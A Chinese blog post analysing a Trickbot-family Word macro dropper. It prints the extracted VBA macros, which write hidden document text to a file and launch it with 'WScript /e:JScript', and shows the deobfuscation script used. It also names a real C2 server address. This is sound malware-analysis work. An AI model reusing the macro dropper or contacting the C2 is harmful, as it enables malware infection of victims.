一例Trickbot家族js下载器的分析

已于 2022-12-11 09:38:34 修改
阅读量493 收藏 1
点赞数 1
分类专栏： 恶意代码分析 文章标签： 恶意代码分析
于 2022-12-10 22:30:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/a854596855/article/details/128270083
版权

这个样本是一个docm格式的宏病毒，运行之后会释放并运行一个jse文件，这是一个加密并高度混淆后的JScript脚本，主要功能是下载PE执行和感染可移动存储介质。

样本信息

MD5: e36380d824811bc28fbc26ea84c1a868
SHA1: 19d5fc16cfabae3b3c26bbb4f5798da42733a2fa
SHA256: 16429e95922c9521f7a40fa8f4c866444a060122448b243444dd2358a96a344c
SHA512: 6c6f323893870536822a2aa2aebe783379906081fcf004dd04cb40cc1109c3452d39b548ac8b2a6544601a132f1117aedaca7061c2dbd38dcdba0cbccd07940e
CRC32: a4f4cfc0

分析环境

  • windows7 x64虚拟机
  • oledump.py 分析docm文档，提取VBA代码
  • notepad++ 查看和编辑
  • vscode 编辑代码
  • python3(anaconda3) 去混淆

静态分析

使用oledump.py分析这个宏病毒样本的结构

在这里插入图片描述

使用使用下面的命令分别导出A3和A4段的宏代码

python oledump.py -s A3 -v 1.docm > A3_macro.txt
python oledump.py -s A4 -v 1.docm > A4_macro.txt
两段宏代码如下，代码中作为一些混淆，然而还原出来还是比较容易的。
A3_macro.txt

Attribute VB_Name = "NewMacros"
Public polindrome As String

Function finger()
finger = "" & Chr(80 + 3) & "he" & "l" & Chr(100 + 8) 
'finger = "Shell"
End Function

Function Nails()
Nails = Chr(30 + 2) & "/" & Chr(100 + 1) & ":"
'Nails = " /e: "
End Function

Function spoon()
spoon = finger & "Exe" & Chr(90 + 9) & "ut" & Chr(100 + 1)
'ShellExecute
End Function

Function cup()
cup = Chr(80 + 3) & Chr(90 + 9) & "r" & "ip" & "t"
'Script
End Function


Function HIV()
HIV = "open"
End Function

’执行jse内容
Sub Hercules(button As Long)

Dim ok1() As Variant
Dim ok2() As Variant
ReDim ok1(7)
ReDim ok2(8)
VBA.CallByName VBA.CreateObject(finger & "." & Chr(60 + 5) & "pp" & "li" & Chr(90 + 9) & "at" & "ion"), spoon _
, VbMethod, Chr(80 + 7) & cup _
, Nails & Chr(70 + 4) & cup & " " & Chr(30 + 4) & polindrome & Chr(30 + 4), "", HIV, 2 - 1
'VBA.CallByName VBA.CreateObject("Shell.Application") "ShellExecute", VbMethod, "WScript"," /e:JScript 1.docx","open",1
End Sub




'输出jse的内容
Sub Wick(John As Long)
'
' Sand Macro
'
'
Dim Huge As Variant

polindrome = ActiveDocument.FullName & "x"

Dim duma As String, vc As Integer
duma = polindrome
vc = FreeFile

Open duma For Output As #vc '打开1.docmx 用于输出
Print #vc, ActiveDocument.Content.Text
Close #vc 

End Sub

Sub AcceptConflictAndAdvanceU()
'
' AcceptConflictAndAdvanceU Macro
'
'
MsgBox "WAY"

End Sub

A4_macro.txt

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim oxand As Variant
Wick (100)
End Sub


Private Sub Document_New()
MsgBox ("Something" & ActiveDocument.Variables("feet").Value)
End Sub

Private Sub Document_Close()
Hercules (999)
End Sub

这个宏代码比较简单，主要功能是：
这里我们将此样本重命名为1.doc，当用户打开1.doc文件，并启用宏时，会调用Wick过程，将1.doc的ActiveDocument.Content.Text的内容写入到一个新的文件1.docx中。关闭1.doc时，会执行Hercules过程，执行命令

WScript /e:JScript 1.docx

以JScript方式运行1.docx.

1.doc实际是一个docm文件，将后缀名修改为.zip，使用winrar解压后，进入word目录，查看一下document.xml，查看一个文档内容

在这里插入图片描述

打开document.xml会发现，里面有一段很长的脚本，文本的颜色是背景色
在这里插入图片描述

我们用word打开这个doc文本验证一下。

在这里插入图片描述

可以看到左下脚，页面和字数都很大，但是文档内容只能看到一张图片，其余的内容都被隐藏起来了。

按Ctrl+ A 将文本的字段颜色修改为黑色，就能看到脚本的内容，如下图所示。

在这里插入图片描述

点击启用内容后，VBA脚本已经执行。

弹出一个对话框，并在当前目录下生成了一个文件1.docx，这不是一个word文件，是一个加密的jse脚本文件，正是1.doc中隐藏的内容。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

解密与去混淆

下面分析一下这个加密的JScript代码

首先对其进行解密 ，可使用这个在线解密工具JScript.Encode 在线解密 (jb51.net)，再使用Online JavaScript beautifier对代码进行格式化后，就得到了下面这样一个js文件

在这里插入图片描述

这个文件进行严重的混淆，大小达到了惊人的30158行，如何去混淆和分析，可参考分析可参考我的另一篇博客 NEMUCOD病毒jse样本分析，去混淆的代码有点些许的不同，主要是前面这个变换函数不一样了，代码如下

#-*- coding:utf-8 -*-
import re,os,sys

js = """
function DtbSlDW(ppqeac, qenvwr) {
    try {
        gzzcggot32ko = 0.714;
        gzzcgnationalities78ko = 0.66;
        gzzcgacted22ko = 0.241;
        gzzcgwork93ko = 0.123;
        gzzcgrooms26ko = 0.628;
        gzzcgcase58ko = 0.279;
        gzzcgalso74ko = 0.41;
        knqtheir_4(ppqeac, qenvwr);
    } catch (e) {
        if (qenvwr != 'from') {
            return true;
        } else {
            return String[qenvwr + ['Char'] + ['Code']](ppqeac);
        }
        return false;
    }
};"""

filename = sys.argv[1]
data = open(filename,'r',encoding='utf-8').read()


b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件，打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码，将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话，需要单独处理
        #print(i[0])
        pass


a = re.findall(r"[A-Za-z0-9]+\[\d\] = \{.*?\d+\: \d+.*?\} \[((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)\];",data,re.M | re.S)
for i in a:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件，打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码，将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话，需要单独处理
        #print(i[0])
        pass



b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件，打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码，将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话，需要单独处理
        #print(i[0])
        pass

#保存结果
open('去混淆'+ filename,'w',encoding='utf-8').write(data)

去混淆之后 的代码只有390行，其cc服务器为https://185.159.82.15/hollyhole/c644.php，主要功能是下载恶意代码执行和感染可移动存储介质。

下面的分析同 NEMUCOD病毒jse样本分析_巴哥的博客-CSDN博客一样，不再赘述。

参考资料

VBA语句集100句 (Word VBA) [转]_sobigring的博客-CSDN博客

~巴哥~
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
网银木马TrickBot的分析调试笔记
JiangBuLiu的博客
12-01 968
Trickbot描述 Trickbot是2016年出现的一种网银木马，它以大银行的客户为目标，窃取他们的信息。自出现以来，新的变体不断出现，每次都有新的技巧和模块更新。 Trickbot是一种模块化恶意软件，包括针对其恶意活动的不同模块。主要功能包括从浏览器中窃取数据、从Microsoft Outlook窃取数据、锁定受害者的计算机、系统信息收集、网络信息收集和域凭据窃取等模块等. 由于此家族出现至今已四年，公开的报告众多，此处不多描述初始载荷，以调试分析Trickbot功能载荷（本次分析的是1000511
RangeDownloader-js:用JavaScript实现支持断点续传的下载器
03-09
RangeDownloader-js 用JavaScript实现支持断点续传的下载器 演示版 let downloader = new RangeDownloader ( { url : "https://local.zapic.moe/test.bin" , onload : ( self ) => { let res = self . getResultAsBlob ( ) ; let ele = document . createElement ( "a" ) ; ele . download = "test.bin" ; ele . href = URL . createObjectURL ( res ) ; document . body . append ( ele ) ; ele . click ( ) ; UR
js文件下载工具
04-02
js下载工具（javascript下载工具）
Js多文件批量下载器
lambert_Lei的专栏
09-30 668
Js多文件批量下载器step1.导入Downer.jsstep2.使用对象 找来找去发现浏览器对文件下载操作文件系统不大支持，限制颇多，还是尽早切换到桌面应用为好。不过作为缓存方案原生JS通过xhr下载文件还是能接受的。 下载器参照download.js写了文件保存部分，下载文件部分使用“XMLHttpRequest”实现 step1.导入Downer.js < script type="application/javascript" src="Downer.js"> step2.使用对象
JS实现下载功能
qq_41340792的博客
10-29 277
exportHtml() { const date = new Date(); // 创建隐藏的可下载链接 var eleLink = document.createElement("a"); eleLink.download = `文件名.文件类型`; eleLink.style.display = "none"; // 字符内容转变成blob地址 var blob = new Blob(["文件内容"]);
以Si8405为例分析数字隔离器的工作原理
01-20
　本文将重点介绍数字隔离器的工作原理，产品特点及性能等，再详述数字隔离器在电子产品中的部分应用。 　1 隔离产品的工作原理 　1.1 隔离产品传播 　按照隔离产品的传播方式，可以分为光耦隔离、磁隔离和电容隔离...
FLUENT 经典分析算例.pdf
04-08
本资料主要介绍了使用FLUENT进行经典分析算例的详细步骤，旨在帮助用户掌握软件的使用技巧和解决实际问题的方法。 首先，文档通过算例1介绍了如何在FLUENT中处理一个典型的两维湍流流动和传热问题，即混合弯管案例...
单级放大器电路故障原因分析
01-20
 如图所示，为共发射极放大器电路，下面以共发射极放大器电路为例，讲解电路故障分析方法。  提示：对于放大器电路故障的分析要分成直流电路和交流电路两部分，直流电路故障分析针对放大器直流电路...
平行板电容器仿真分析文件
05-26
一个典型的电容器是在两个导体中加上电介质构成。在两个导体上施加电势差，产生电场，它会从导体的间隙扩展为导体附近一定的空间，这种现象称为边缘...本例研究了平行板电容器，分析空气域大小，以及边界条件的选择等。
完整版正则表达式应用一例.rar
04-02
完整版正则表达式应用一例.rar 完整版正则表达式应用一例.rar 完整版正则表达式应用一例.rar 完整版正则表达式应用一例.rar 完整版正则表达式应用一例.rar 完整版正则表达式应用一例.rar
宏病毒(2)
WLINX
12-09 605
样本HASH：AB74EE2373229626FE368A83D98F2A47 扫下VT，可以看到有45家报毒了。 微步在线查一波，看下报告。 执行流程 现在来打开样本，日常宏警告。 这次用个工具，把宏弄出来。先用olevba看下大体情况。 +----------+--------------------+----------------------------...
恶意勒索Word文档模版注入分析
最新发布
黑剑
04-03 1098
此次是简单的分析过程，主要用于困难环境下使用手动进行分析，在根据实际情况对相关的文档进行恶意分析！那么在智能沙箱的情况下，几乎这些手动的行为都被忽略了，所以会一些手动技巧也是巩固自身的知识，不依赖沙箱等情况！
office宏分析
weixin_34029949的博客
12-20 884
参考：（1）工具篇：如何分析恶意文档【http://www[.]4hou.com/technology/2634[.]html】（2）OLE文档分析工具之oletools介绍【http://ahageek[.]com/blog/oletools-introduce/】（3）github oletools【https://github[.]com/decalage2/oletools】（4）垃圾邮件...
宏病毒刨析
sxr__nc的博客
12-09 549
拿到宏病毒之后，先使用oledump.py工具进行宏数据流得查看： 通过查看数据流可以发现，在第八段和第九段有宏代码，同时需要注意在第十二的数据虽然没有宏代码 ，但是第12段数据大小却是很可疑需要注意一下，同时也可以将第八段和第九段以及第十二段 这三段数据dump出来 进行查看。这里采用宏病毒动态调试的方式： 打开文件之后，存在安全警告： 这个时候，可以使用快捷键 打开并且查看宏代码（a...
通过Oledump.py获取OFFICE文件中的宏代码
VI___
04-14 2737
首先用oledump.py查看一下基本信息，记住M所在的行的数字，这里为7、9 输入如下命令查看对应的宏代码 当然可以重定向到文件中方便查看 如下即可得到源码 ...
简单宏病毒研究
richard1230的博客
03-13 3586
原文地址:https://www.52pojie.cn/thread-705736-1-1.html 0.前言 分析这个宏病毒就像脱衣服一样，一层一层，甚是好玩。 分析难度：一颗星。 分析技巧：熟练使用各种骚工具（oledump.py；VBA Password Bypasser；VBE解码脚本） 1.样本信息 病毒文件：virus.doc MD5:fe962dc6c85a6e4e2d...
宏病毒研究——实战研究篇
dfdhxb995397的博客
03-27 1052
本文作者：i春秋作家——icq5f7a075d 宏病毒专辑：https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133 3.宏病毒实例分析 3.1实例1 接下来，我将以demo2.doc为例，实例分析宏病毒，demo2是一个真实的宏病毒，请在虚拟机中分析。 打开demo...
宏病毒的研究与实例分析01——基础篇
热门推荐
鬼手的博客
03-10 1万+
文章目录前言基础知识宏与宏病毒VB基础sub与functionVB基本函数对象宏病毒实例分析实例1oledump.py宏病毒的分析技巧自动执行隐秘执行调用外部例程和命令执行字符串隐写Chr（）函数Replace（）函数CallByname 函数Alias替换函数名利用窗体、控件隐藏信息利用文件属性恶意行为字符串宏病毒的防御手段禁用宏越过自动宏恢复被宏病毒破坏的文档说明 前言 本系列文章将由浅入深对...
oledump-py office ole dump
weixin_34279579的博客
05-19 522
http://blog.didierstevens.com/programs/oledump-py/ ...
从零开始：一步步教你构建解释器
"这篇文章主要介绍了如何编写一个解释器，作者以一个名为‘R2’的简单语言为例，通过使用 Scheme 语言的实现——Racket，向读者展示了从基础到逐步增强语言特性的过程。文章强调从简单语言开始，避免一开始就尝试...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值